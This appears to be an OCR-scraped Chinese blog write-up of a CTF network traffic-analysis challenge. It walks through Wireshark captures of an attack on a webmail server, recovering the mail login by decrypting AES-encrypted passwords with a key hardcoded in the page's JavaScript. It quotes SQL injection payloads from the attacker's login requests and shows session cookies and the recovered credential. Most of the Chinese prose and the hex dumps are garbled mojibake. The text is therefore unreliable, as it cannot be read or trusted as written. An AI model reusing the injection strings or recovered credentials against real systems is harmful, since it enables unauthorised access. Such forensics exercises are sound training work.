74 70 3a 2f 2F 31 39 32 2e 31 36 38 2e 33 32 2.168.32
3138 37 0d 0a 55 70 67 72 61 64 65 2d 49 be grade-In
65 63 75 72 65 2d 52 65 71 75 65 73 74 73 3a__secure-R equests: ; v
@ 7 neiltvo powp || 4: 1303 - 28F: nawl @2.aw) oo Rl et

MEE®TH, RRBZERARE, TTREEETURRZ KN ELMRE basess , {H baseca REMILHN, FRINE, FHit*®
FERX RN E L ROME TR, RE—FTae, HERLAESIE. B2, MERAESINE, BT ERBIXR MkeyMivi
BE,

BER, R FTEFREFSEAE, RIHHEE, WAL etp MARE, RN EREHEA 200 HdIEXET




M mailtwo.peap
TR BEE) WEN) REHG) BEQ SFA) SIS BEY BEW TEM #RH)

AEmg® TRB Re=>=F L5/ EQAQAR
[ [nttp. response. code=200 = v] FigEhe |+
Ho. Time Source Destination  Protocol Lenzth Info "
354.702228 192. .168 59 HTTP/1.1 208 OK (text/html)
44 6.048428 192, .168 368 HTTP/1.1 208 OK (text/html)
49 6.336430  192. .168 373 HTTP/1.1 206 OK (text/html)
224 31.215697 192. .168 1148 HTTP/1.1 200 OK (text/html)
279 31.815254 192. .168 859 HTTP/1.1 208 OK (text/html)
296 31.998702 192. .168 1053 HTTP/1.1 200 0K (text/html)
301 32.037516 192. .168 549 HTTP/1.1 200 OK (text/html)
306 32.0971282 192. .168 382 HTTP/1.1 280 OK (text/html)
318 32.117907 192. .168 59 HTTP/1.1 200 OK (text/html)
333 32.439167 192. .168 463 HTTP/1.1 200 0K (text/html)
394 35.429686 192. .168 1465 HTTP/1.1 208 OK (text/html) v

\n
var loginCheck = function(form) {\n
if(form.username.value == "") {\n
alert("\35112021256\34412731266\34512761220\3451217\267\3441276\215\3501 20312751344\ 270\ 272\347\251\272\357\2741201" ) ; \n
form.username. focus () ;\n
return false;\n

Hn

if(form.password. value = {\n
alert("\347\231\273\345\275\225\3451257\206\347\240\ 2013441270\ 215\3501203\275\344\270\272\347\251\272\357\274\201") ; \n
form. password. focus();\n
return false;\n

n
(t\telse{\n
\t\t\tvar key_hash = CryptolS.MDS('1234567812345678");\n
\t\t\tvar key = Crypto]S.enc.Utf8.parse(key_hash);\n
\t\t\tvar iv - CryptolS.enc.Utf8.parse( 1234567812345678");\n
\t\t\tform.password.value = CryptolS.AES.encrypt(form.password.value, key, { iv: iw,mode:Crypto]S.mode.(BC,padding:CryptolS.pad.ZeroPadding});\n

;. TR
= Crypt

6F 50 61 64 64 69 6e 67 7d 29 3b Pa 09 89 7d Ba  oPadding });---}-

6f 72 6d 2e 64 6f 6d 61 69 6e 2e 76 61 6c 75 65 orm.doma in.value

Frame (59 bytes) Reassenbled TCP (10621 bytes) De—chunked entity body (10295 bytes) CSOM @ v
@ 7 Text iten Ctext), 58 TH || 44m: 415303 - DEF: 16305 (4.08) =L ’ﬁj A e

M EES R, BRIOBEIITH—NRE, BEEEAMNGEE, TUERREARINEENkeyMivikiE £ .
MD5/N% j5 fikey: var key hash = CryptoJ]S.MD5( 1234567812345678°);

key: var key = CryptoJS.enc.Utf8.parse(key_hash);

iVIRFZ&: var iv = CryptoJS.enc.Utf8.parse(1234567812345678°);



EHEE R ¥E http

M msiltwo.peap - x
) WEE) WEN) PEEG) WECO) HFA)  HS) EEY) FEW TAEM #EE)
Am I @ REQAe==F 85 Qaqamn
(et XISRE
Ho. Time Source Destination  Protocol Lenzth Info "
32.258178 192. 680 GET /webmail/index.php?module=operate&action=logout HTTP/1.1
q: 52.360323 192. 465 HTTP/1.1 302 Found (text/html)
: 10 3.315169  192. 715 POST /SpanResolverhiG/SpanResolverhiG. d112DoNewRequest HTTP/1.1 (application/x-nm-form-urlencoded)
! 11 3.344236  202. 343 HTTP/1.1 301 Moved Permanently (text/html)
: 20 3.586610  192. 715 POST /SpanResolverNG/SpanResolverNG. d112DoNewRequest HTTP/1.1 (application/x-uww-form-urlencoded)
28 4.656359  192. 676 GET /webmail/index.php?module=vien&action=login HTTP/1.1
354.702228 192. 59 HTTP/1.1 200 OK (text/html)
42 6.012645  192. 658 GET /webmail/index.php?module=view&action=login&mode=browser&width=1366&height=768 HTTP/1.1
44 6.048428  192. 368 HTTP/1.1 208 OK (text/html)
47 6.361315  192. 645 GET /uebmail/index.php?module=operateaction=checkssl8domain=test.com HTTP/1.1
49 6.336430 192. 373 HTTP/1.1 280 OK (text/html) v
Request Version: HTTP/1.1 D
Host: 192.168.32.187\r\n
Connection: keep-alive\rin
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64) AppleblebKit/537.36 (KHTML, like Gecko) Chrome/68.8.3448.84 Safari/537.36\r\n
Accept: text/html,application/xhtmlsxml,application/xml;q=0.9,image/webp, inage/apng,*/*;q=0.8\r\n
: http://192.168.32.187/uebmail/index.php\rin
Accept-Encoding: gzip, deflate\r\n
Accept-Language: zh-CN,zh;q=0.9\r\n
~ Cookie: login_domain=test.com; PHPSESSID=csm2khdf3kjgsftinl7t7dk95; SL_G_WPT_TO=zh-CN; SL_GWPT_Show Hide_tmp=1; SL_uptGlobTipTmp=1; login_name=wenwenni\rin
Cookie pair: login_domain=test.com
Cookie pair: PHPSESSID=csm2kh9f3kjqsftlnl7ft7dk95
Cookie pair: SL_G WPT_TO=zh-CN
Cookie pair: SL_GUPT_Show_Hide_tmp=1
Cookie pair: SL_wptGlobTipTmp=1
Cookie pair: login_name-wenuenni
Arin -
[Full request URT: httn://192.168.32.1 wehmail/index. nhn?modul e=onerate&action=1osout] hd
0000 00 @c 29 2d ¢4 66 39 42 ed 08 00 45 0@ ) 0B - E- ~
11 82 9a 62 fa 40 8@ 7f 86 95 d4 c@ a8 Se 83 a8 -b-@ EEELE
21 20 bb da 92 80 5@ df 48 87 f@ 53 d7 7a 17 13 ----P-H --S.2.P-
3 3f 47 b4 b7 00 BB 47 45 54 28 2f 77 65 62 61 2G----GE T /webma
4 69 6c 2f 69 6e 64 65 78 2e 70 68 70 3f bd 64 il/index .php2mod
5 75 6c 65 3d 6Ff 78 65 72 61 74 65 26 61 63 69 ule=oper ate&acti
6f 6e 3d 6c 6f 67 6f 75 74 20 48 54 54 50 31 on=logou t HTTR/1
2e 31 ©d ©a 48 6f 73 74 3a 28 31 39 32 2e 36 192.16
31 38 2e 33 32 2e 31 38 37 @d @a 43 6f 6e 6e 63 8.32.187 - -Connec
9 74 69 6f 6e 3a 20 6b 65 65 78 2d 61 6¢ 69 65 tion: ke ep-alive
©d @a 55 70 67 72 61 64 65 2d 49 6e 73 65 75 - -Upgrad e-Inseci
72 65 2d 52 65 71 75 65 73 74 73 3a 20 31 8a re-Reque sts: 1:-
5573 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 User-Age nt: Mozi
6c 6 61 2f 35 2e 30 26 28 57 69 Ge 64 6f 77 73 11a/5.8 (Windows
20 4e 54 20 35 2e 31 3b 20 57 4 57 36 34 29 20 NT 6.1; KOW64)
4170 70 6c 65 57 65 62 4b 69 74 2¢ 35 33 37 2e  Applelieb Kit/537.
33 36 26 28 db 48 54 44 Ac 2c 20 6c 69 6b 65 20 36 (KHTM L, like

@ 7 nailtvo poup [ 448 41503 - SEn 60503 (38 %) B (7T

i EERI, S http FHRRE - MRERRRSFRBNERRAELE, AN, XMIEFE 1 logout KRBT, #
HERNERER, WMARAEKSFERE, WBAXMALZEFR mail FIKS, B, BFEMAEERIMECookie RHA &

F mail BIKS: wenwenni .

LEATHATE mail KK SR wenwenni , MAFHEMTEEE MK SR wenwenni FIIER T BRI E R EIRE, XFEFHHLLE
ORI UE, TR H X LA I B R A .

b, EIEKSN wenwenni ARG 200 15 93 JE X8 74T B KL 98

ttp contains 200




M msiltwo.peap - x
TR REE) WENV) WEHG) BRCO) SN HHE) BEY) FTEW) IRM  BEH)
AEJ® BB ] e
[ [nttp contains “wemwenni” or http contains 200 = -] Figste o+
o, Time Seurce Destination  Protocol Lenzth Info
32.258178  192. 680 GET /webmail/index.php2module=operate&action=logout HTTP/1.1
28 4.656359  192. 676 GET /webmail/index.php2module-viewdaction=login HTTP/1.1
354.702228  192. 59 HTTP/1.1 208 OK (text/html)
42 6.012645 192. 658 GET /webmail/index.php?module=viewsaction=login&mode=brawser&width=1366&height=768 HTTP/1.1
44 6.048428 192, 368 HTTP/1.1 200 OK (text/html)
47 6.301315  192. 645 GET /webmail/index.php2module-operate&action=checkssl&domain=test.com HTTP/1.1
49 6.336430  192. 373 HTTP/1.1 200 OK (text/html)
217 31.094931 192. 945 POST /webmail/index.php?module=operatefaction=logingueb=1 HTTP/1.1 (application/x-wnni-form-urlencoded)
219 31.135365 192. 577 HTTP/1.1 302 Found (text/html)
220 31.175161 192. 702 GET /webmail/index.php HTTP/1.1
224 31.215697 192. 1148 HTTP/1.1 200 OK (text/html) .
[Content length: 16] "

Connection: keep-alive\r\n
Expires: Thu, 19 Nov 1981 @8:52:80 GMT\r\n
Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=8\r\n
Pragma: no-cache\r\n
Ar\n
[HTTP response 3/18]
[Time since request: @.835783000 seconds]
Prev request in frame: 28]
Prev response in frame: 35]
Reguest in frame: 42
Next request in frame: 295
Next response in frame: 301]
[Request URT: http://192.168.32.187 /webnail/index. php?module=vieudaction=logininode=browserfuidth=13664height=768]
File Data: 16 bytes
v Line-based text data: text/html (1 lines)
"success":true}

9070 31 38 20 30 36 3a
©Qa 43 of 6e 74 &5
65 78 74 2f 68 74

34 30 20 47 4d 54 od 18 06:34 :
54 79 70 65 3a 20 74 Content
20 63 68 61 72 73 65  ext/html ;

0 74 3d 75 74 66 2d 74 t=utf-8
50 2d 4c 65 6e 67 74 -Length:
<0 6e 65 63 74 63 6F nection:
49 68 76 65 Bd 02 45 ive -Exp i
20 75 2c 20 31 39 20 u, 19 No
0 38 3a 35 32 3a 30 8 ]

100 68 65 2d 43 6F Ge he-Contr
110 74 6F 72 65 2c 20 tore, no
120 6d 75 73 74 2d 72 must-rev
130 20 70 6 73 74 2d post-ch
40 72 65 2d 63 68 65 re-check

50 6d 61 3a 20 6e 6F

15 1 5 6d Ba Bd
(07D 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 7d

@ 7 Text item (text), 16 TH A 418303 - BRI 21806 (5.24)

ma: no-c

e —————
{"succes s":true}

M LB UE WA E RN RV RE TR ERE, %5 h44, BLAETRRRBEEZMAEN I —MRERH 4.

M mailtwo.pcap - X
M RERE WEV) BEG BRO SRA) S BEY) BEW IRM EEH)
Amg® L= RAAQE
(1 [http contains “wemrenni” or http contains 200 = -] kb o+
Yo Time Seurce Destination Protocol Length Info Py
32.258178  192. 680 GET /webmail/index.php?module-operate&action=logout HTTP/1.1
28 4.656359  192. 676 GET /webmail/index.php?module=viewdaction=login HTTP/1.1
354.702228  192. 59 HTTP/1.1 200 OK (text/html)
42 6.012645 192, 658 GET /webmail/index.php?module-viewaction-logingmode-browser&width-1366&height=768 HTTP/1.1
44 6.048428  192. 368 HTTP/1.1 208 OK (text/html)
47 6.301315  192. 645 GET /webmail/index.php?module=operategaction=checkssl&domain=test.com HTTP/1.1
49 6.336430 192, 373 HTTP/1.1 200 OK (text/html)
217 31.094931 192. 945 POST /webmail/index.php?module-operatefaction=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded)
219 31.135365 192. 577 HTTP/1.1 302 Found (text/html)
220 31.175161 192. 702 GET /webmail/index.php HTTP/1.1
224 31.215697 192. 1148 HTTP/1.1 2008 OK (text/html) .
User-Agent: Mozilla/5.@ (Windows NT 6.1; WOWG4) AppleMebKit/537.36 (KHTML, like Gecko) Chrome/68.8.344@.34 Safari/537.36\r\n "
Referer: http://192.168.32.187/webmail/index.php?module-view&action=login\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: zh-CN,zh;q=0.9\r\n
v Cookie: login_domain-test.com; PHPSESSID-csm2khOf3kjqsftinl7ft7dkas; SL_G_WPT_TO-zh-CN; SL_GWPT_Show Hide_tmp=1; SL wptGlobTipTmp=1; login_name-wenwenni\r\n
Cookie pair: login_domain-test.com
Cookie pair: PHPSESSID=csm2kh93kjqsftinl7ft7dk9s
Caokie pair: SL_G_WPT_TO-zh-CH
Cookie pair: SL_GWPT_Show_Hide_tmp=1
Cookie pair: SL_wptGlobTipTmp
Cookie pair: login name=wenuenni
[HTTP request 3/18]
Prev request in frame: 28]
Response in frame: 44]
Next request in frame: 295]
v
90 80 Bc 29 2d e4 66 b0 f9 63 39 42 ed 08 00 45 00 )--f-- c9B--E -
10 0284 63 24 40 00 7f 86 95 c@ @ a8 Se 83 @ a8 c$@ A
20 20 bb da 92 00 50 df 48 8c d@ 53 d7 a5 2f 50 18 PH S/
0030 49 27 d1 fd 00 00 47 45 54 20 2f 77 65 62 6d 61 @ ----GE T /webma
69 6c 2f 69 6e 64 65 78 2e 70 68 70 3f 6d 6 64  il/index .php2mod
75 6c 65 3d 76 69 65 77 26 61 63 74 69 6f 6e 3d  ule-view %action-
6c 6f 67 69 6e 26 6d 6f 64 65 3d 62 72 6f 77 73 login&mo de-browus
65 72 26 77 69 64 74 68 erguidth -1366&he
50 69 67 68 74 3d 37 36 38 ight=768 HTTP/1.
99 31 @d @a 48 6F 73 74 3a 1 -Host: 192.168
20 2e 33 32 2e 31 38 37 0d .32.187- -Connect
b0 69 6f 6e 3a 20 6b 65 65 ion: kee p-alive
<0 @a 41 63 63 65 70 74 3a Accept: */*-.X-
40 52 65 71 75 65 73 74 65 Requeste d-With
20 58 4d 4c 48 74 74 70 52 XMLHEtpR equest
70 55 73 65 72 2d 41 67 65 User-Age nt: Mozi
90 6c 6c 61 2f 35 2e 30 20 11a/5.@ (vindows P

@ @ neiltwo posp 4340: 418303 - D 21806 (5.28) e

MEBFTUEYR, F5N420RERNINENHARSMPRENTT—MNRE, FRERK mail KERKS HBRIT
BEAT DTS B ik R Th R SR B8 22 {"success” :true} o
BTk, BEHBMKNER P . RSFAEHK posT KETF . PAKNIRIE K25 R BIRE, 1ERBRNTT IR S8 1T

= wenwenni

http contains or http.request.method and ip.addr==192.168.94.59




M mailtwo.peap
TR BEE) WEN) REHG) BEQ SFA) SIS BEY BEW TEM #RH)

Adm3® RERe=EF 85 aQaaam

[ (hetp contains “[\"zuccess\":truel” or http. reguest. nathod—"FOST"} and ip addr—18Z 168 94 58

o, Seurce Destination  Protocol Lenzth Info
192.168 662 POST /webmail/admin/index.php?action=login&modul
192.168 637 POST /webmail/admin/index.php?action=logingmadul
192.168 659 POST /webmail/index.php?actio
192.168
192.168

192.168
192.168
192.168
192.168
52312 3306.542.. 192.168
52314 3306.542.. 192.168

654 POST /webmail/admin/index.php?action=login&module=admin&return=/

526 POST /webmail/admin/index.php?action=login&modul
749 POST /webmail/admin/index.php?action=login&module=admin&return=
527 POST /webmail/admin/index.php?action=login&modul
663 POST /webmail/admin/index.php?action=login&modul
614 POST /webmail/admin/index.php?action=login&modul

dmin&retur

dmin&retur

webmail/admin/index.php HTTP/1.
webmail/adwin/index.php HTTP/1.
webmail/admin/index.php HTTP/1.
webmail/admin/index.php HTTP/1.

min&retur
dmin&retur

min&retur,

webmail/adwin/index.php HTTP/1.1 (application/x-ww-form-urlencoded)
webmail/admin/index.php HTTP/1.1 (application/x-wwm-form-urlencoded)
-1%260R%202%2b970-970 -1-8%2b0%2b@%2b 1&module-operate&uweb=1 HTTP/1.1 (application/x-wwmi-Form-urlencoded)
534 POST /webmail/admin/index.php?action=login&module=admin&return=/webmail/admin/index.php HTTP/1.1 (application/x-wwu-form-urlencoded)
webmail/admin/index.php HTTP/1.1 (application/x-w-form-urlencoded)
659 POST /webmail/index.php?action=-1%280R%203%2b970-970-1-0%2b6%2b@%2b1&modu le-operatefueb=1 HTTP/1.1 (application/x-www-form-urlencoded)
min&return=/uebmail/admin/index.php HTTP/1.1 (application/x-wau-form-urlencoded)
(application/x-wwm-form-urlencoded)
(application/x-wm-form-urlencoded)
(application/x-wm-form-urlencoded)
(application/x-wwm-form-urlencoded)

BED o) Hist |+
-

Frame 52312: 663 bytes on wire (5384 bits), 663 bytes captured (5364 bits)

Ethernet II, Src: Hangzhou 39:42:ed (b@:f9:63:39:42:ed), Dst: Vmware 2d:e4:66 (00:0c:29:2d:ed:66)

Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.187

Transmission Control Protocol, Src Port: 13321, Dst Port: 88, Seq: 12103, Ack: 35675, Len: 609

Hypertext Transfer Protocol

v HTML Form URL Encoded: application/x-wmw-form-urlencoded
Form item: "domain” - "test.com"

“ge0dPa$$warD"

Form item: eptadmin”

Form item: "username” = "-1' OR 2+553-553-1-8+0+0+1 - "

Form item

20 Oc 29 2d ed 66 b0 9 63 39 42 ed B8 80 45 80 - -)--f.- c9B.- E
©2 89 65 2 40 00 7 06 93 35 @ a8 Se 3b @ a8 e @ - 5
-4

20 bb 34 03 00 50 de 72 76 Bc f5 26 £f 08 50 18 Por v &P
00 41 3b d3 00 00 50 4f 53 54 20 2 77 65 62 6d  -A;---PO ST fuebm
61 63 6c 2f 61 64 6d 63 6Ge 2 69 Ge 64 65 78 2e  ail/admi n/index.
70 68 70 3f 61 63 74 68 6f 6e 3d 6c 6f 67 69 6e  php?acti on=login
26 6d 6 64 75 6c 65 3d 61 64 6d 69 6e 26 72 65 &module= admin&re
74 75 72 6e 3d 2f 77 65 62 6d 61 69 6c 2f 61 64 turn=/we bmail/ad
6d 69 6e 2f 69 6e 64 65 78 2e 70 68 70 20 48 54 minfinde x.php HT
54 56 2f 31 2e 31 @d ©a 43 6f 6e 74 65 6e 74 2d  TP/1.1.- Content-
4c 65 6e 67 74 68 3a 20 31 31 32 @d @a 43 6f 6e  Length: 112.-Con
74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69  tent-Typ e: appli
63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72  cation/x -www-for
6d 2d 75 72 6c 65 6e 63 6f 64 65 64 Bd Ba 58 2d  m-urlenc oded--X-
52 65 71 75 65 73 74 65 64 2d 57 69 74 68 3a 20  Requeste d-With:

58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 @d @a  XMLHttpR equest: -
52 65 66 65 72 65 72 3a 20 68 74 74 78 3a 2f 2f Referer: http://

@ 7 mailtws. poap

[ 434 413303 -

ST TR

BET 12148 (2.9%)

M EETTLEH, @il EiEaERE —ANMRE mailtwo FIKHE, #R—LBHMRE, BAERIMNTBEENRLA.
MAET R BT UEE A E - MRER mailtwol .

M mailtwol.peap
ZHE EEE WEN HEO) BEO SFW Sie) mEe BEw TEM 2EEH)
Adm @ RERe=EFo5 = Qaqam

[ (hetp contains “[\"zuccess\":truel” or http. reguest. nathod—"FOST"} and ip addr—18Z 168 94 58

BT -] #igst | +

o Time Source
5948 50.116897 192.168
14463 110.089310 192. 16
14826 138.173594 192. 16

i 15830 150.172017 192.168
17126 165.477301 192.168
17194 165.820184 192. 16
18152 178.679536 192. 16
35485 351.998496 192.168

Destination Frotocol Length Info
368 HTTP/1.1 200 OK (text/html)
839 POST /webmail/index.php?modul
865 POST /webmail/index.php2modul
368 HTTP/1.1 200 OK (text/html)

&

& &

peratedaction=login&web=1 HTTP/1.1 (application/x-wi-form-urlencoded)
peratedaction=logindweb=1 HTTP/1.1 (application/x-wm-form-urlencoded)

847 POST fwebmail/index.php?module=operateaction=logingueb=1 HTTP/1.1 (application/x-wmi-form-urlencoded)
847 [TCP Spurious Retransmission] POST /webmail/index.php2module=operate8action=logingweb=1 HTTP/1.1 (application/x-wmmi-form-urlencoded)
368 [TCP ACKed unseen segment] [TCP Previous segment not captured] HTTP/1.1 200 OK (text/html)
368 [TCP ACKed unseen segment] HTTP/1.1 200 OK (text/html)

Frame 18152: 368 bytes on wire (2944 bits), 368 bytes captured (2944 bits)
Internet Protocol Version 4, Src: 192.168.32.187, Dst: 192.168.94.59
Hypertext Transfer Protocol

Line-based text data: text/html (1 lines)
"success": true}

<

Ethernet II, Src: Vmuare 2d:ed:66 (09:0c:29:2d:ed:66), Dst: Hangzhou 39:42:ed (b@:f9:63:39:42:ed)

Transmission Control Protocol, Src Port: 88, Dst Port: 13933, Seq: 12049, Ack: 2339, Len: 314

b@ 3 63 38 42 ed 00 Oc 29 2d ed 66 03 00 45 00 €98 - )--F--E-
01 62 1c 12 40 00 40 06 1d 3d O 28 20 bb <@ a8 b -@-@ = -
Se 3b 00 50 36 6d 1 38 13 42 5f 3f 87 59 58 18  ~;-P6m-9 -B_2-YP-
00 20 01 9c 00 00 48 54 54 50 2f 31 2e 31 20 32 ©oHT TR/L.1 2

30 30 20 4f 4b ©d 02 53 65 72 76 65 72 3a 20 6e @8 OK--S erver: n
67 69 6e 78 2f 31 2e 36 2¢ 30 @d 6a 44 61 74 65 ginx/1.6 .8 -Date
32 20 57 65 64 2c 20 30 38 20 41 75 67 20 32 38 : led, © 8 Aug 20
31 38 20 30 38 32 32 33 32 31 32 20 47 4d 54 @d 18 ©8:23 :12 GMT-
©a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 -Content -Type: t

65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 ext/html
74 3d 75 74 66 2d 38 @d @a 43 6f 6e 74 65 6e 74  t=utf-§-
2d 4c 65 6e 67 74 68 3a 20 31 36 @d @a 43 6f 6e  -Length:
6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c  nection:
69 76 65 0d Ba 45 78 78 69 72 65 73 3a 20 54 68 ive -Exp i

75 2c 28 31 39 20 4e 6f 76 20 31 39 38 31 20 38 u, 19 No
38 3a 35 32 3a 30 30 20 47 4d 54 @d Ba 43 61 63 :52:00
68 65 2d 43 6f 6e 74 72 6f 6c 3a 28 6e 6f 2d 73 he-Contr

@ 7 mailtwsl posp

BEAEEREEENGER, REWNMRERRERSERDERNRE, B2BEE=HREREK

(BRI ER) .

M mailtwol.peap
ZHE EEE WEN HEO) BEO SFW Sie) mEe BEw TEM 2EEH)
Admg® RERe=EF 85 aaq i

|| 4 1m0z - 28T 5 0.09) ek a e
8, MESRINMTEENED

[ (hetp contains “[\"zuccess\":truel” or http. reguest. nathod—"FOST"} and ip addr—18Z 168 94 58

o Time Source Destination  Protocol Length Info

5948 50.116897 192.168... 192. 368 HTTP/1.1 200 OK (text/ntml)
14463 110.089310 192. 16 192.
14826 138.173594 19216 192.
15830 150.172017 192.168... 192.
17126 165.477301 192. 16 192.
17194 165.820184 192. 16! 192.168
18152 170.679536 192.168... 192.

& &

368 HTTP/1.1 200 OK (text/html)

& &

839 POST /webmail/index.php?module=operateaction=logingueb=1 HTTP/1.1 (application/x-mm-form-urlencoded)
865 POST /webmail/index.php?module=operatedaction=logindueb=1 HTTP/1.1 (application/x-mm-form-urlencoded)

847 POST /webmail/index.php?module-operatedaction-logindweb=1 HTTP/1.1 (application/x-www-form-urlencoded)
847 [TCP Spurious Retransmission] POST fwebmail/index.php2module-operate8action-logindweb=1 HTTP/1.1 (application/x-wwu-form-urlencoded)
368 [TCP ACKed unseen segment] [TCP Previous segment not captured] HTTP/1.1 208 OK (text/html)



35485 351.998496 192.168... 192.168... HTTP 368 [TCP ACKed unseen segment] HTTP/1.1 20@ OK (text/html)

> Frame 17194: 847 bytes on wire (6776 bits), 847 bytes captured (6776 bits)
> Ethernet I, Src: Hangzhou_39:42:ed (b@:f9:63:39:42:ed), Dst: Vmware_2d:ed:66 (00:@c:29:2d:ed:66)
> Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.187

> Transmission Control Protocol, Src Port: 13933, Dst Port: 80, Seq: 499, Ac
N

v HTML Form URL Encoded: application/x-www-form-urlencoded
> Form item: "username” = “admin”

> Form item: "domain” "test.com™

> Form item: "password” = "+ZgE14UGcFcyRGLIB/ZXPQ:
> Form item: “"captcha™ "0C87"

> Form item: "language" = "zh_CN"

> Form item: "enter” = "true"

0090 80 Bc 29 2d ed 66 b6 f3 63 39 42 ed 68 00 45 00
9010 ©3 41 46 O 40 B0 7f B6 bl af c@ a8 Se 3b c@ a8
©020 20 bb 36 6d B0 50 S5f 3f 8@ 20 1 38 e5 71 50 18  ;
0030 ©0 43 fd 72 06 00 50 Af 53 54 20 2f 77 65 62 6d  -C.r--PO
0049 61 63 6c 2f 63 6e 64 65 78 2e 70 68 70 3f 6d 6f ail/inde
0050 64 75 6c 65 3d 6 70 65 72 61 74 65 26 61 63 74  dule=ope
0060 69 6f 6e 3d 6c 6 67 63 6e 26 77 65 62 3d 31 20  ion=logi
©070 48 54 54 50 2f 31 2e 31 @d Ba 48 6 73 74 32 20 HTTP/1.1 .-
9050 31 38 32 2e 31 36 38 2e 33 32 2e 31 38 37 @d @2  192.168.
0090 43 6f 6e 6e 65 63 74 63 6f 6e 3a 20 6b 65 65 7@  Connecti
9020 2d 61 6c 69 76 65 0d Ba 43 6 6e 74 65 6e 74 2d  -alive -
9000 4c 65 6e 67 74 68 32 20 31 31 31 @d B2 43 61 63  Length:

©0cO 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d  he-Contr
0000 61 67 65 3d 30 @d 02 AF 72 69 67 69 6e 3a 20 68 age=6.-0 rigin: h
©0e0 74 74 78 32 2f 2f 31 38 32 2e 31 36 38 2e 33 32 ttp://19 2.168.32
©0f0 2e 31 38 37 @d 02 55 70 67 72 61 64 65 2d 49 6e  .187--Up grade-In
9199 73 65 63 75 72 65 2d 52 65 71 75 65 73 74 73 32 secure-R equests:

v
@ 7 mailtwol. pesp || 44: te0092 - B87: 8 0.0 o R e

M EETE R — N FEBRIERR Form item: "password” = "+ZgE1l4UGCFcyRGLIO/ZXPQ==", IP4XFBRE LK EZIRAIFT
EEREN.

EIEWE, RINMETRE P, #THERES.

AESHEEEST:

la;z:|zempadding v|ﬁtﬁlﬂ:|128ﬁj\" | d959caadacdbl dch3e | wist: | 1234567812345678 |saun,:|hasesav‘ - |gb2312ﬁb$ (@m v

wmE. BEaE{e|[x]
+ZgE14UGCcFeyRALIO/ZXPQ=

T BirEETHEEEARR -

shier [l AESERES
AESINE. Timl[x]e

admin!|@HPASS123

CSDN @Johnny.G

g LEES, @dBEZEHRBNEL: admin!@#PASS123 .
11. BEXRBEIVPNRIP
ARE~~ (FEETEEHD



	流量分析——安恒科技（八月CTF）
	流量分析
	一、题目背景
	二、关卡列表
	三、解题过程
	1、黑客使用的扫描器
	2、黑客扫描到的登陆后台
	3、黑客登陆web后台所使用的账号密码（形式:username/password）
	4、黑客上传的webshell文件名、内容以及内容的base编码
	5、黑客找到的robots.txt中的flag
	6、黑客找到的数据库密码
	7、黑客在数据库中找到的hash_code
	8、黑客破解账号ijnu@test.com得到的密码
	9、黑客攻击的web服务器的网卡配置和网卡内网IP
	10、黑客登陆了mail系统所使用的账号和密码（形式: username/password）
	11、黑客获得的VPN的IP



